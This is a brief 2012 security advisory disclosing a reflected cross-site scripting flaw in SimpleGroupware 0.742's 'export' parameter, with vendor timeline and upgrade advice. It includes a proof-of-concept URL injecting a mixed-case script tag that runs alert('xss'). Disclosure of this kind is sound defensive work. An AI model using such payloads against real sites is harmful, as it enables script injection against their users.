SimpleGroupware 0.742 Cross-Site-Scripting vulnerability

[security@xxxxxxxxxxxx]

Advisory:               SimpleGroupware 0.742 Cross-Site-Scripting vulnerability
Advisory ID:            INFOSERVE-ADV2012-01
Author:                 Stefan Schurtz
Contact:                security@xxxxxxxxxxxx
Affected Software:      Successfully tested on SimpleGroupware 0.742
Vendor URL:             http://www.simple-groupware.de/
Vendor Status:          fixed (see Changelog)

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Vulnerability Description
==========================

SimpleGroupware 0.742 'export' parameter XSS vulnerability

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PoC-Exploit
==================

http://[target]/SimpleGroupware_0.742/bin/index.php?export=<ScRiPt 
>alert('xss')</ScRiPt>

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Solution
=========

Upgrade to the latest Version 0.743

====================
Disclosure Timeline
====================

01-Feb-2012 - informed vendor
02-Feb-2012 - fixed by vendor

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Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

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References
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http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2012-01.txt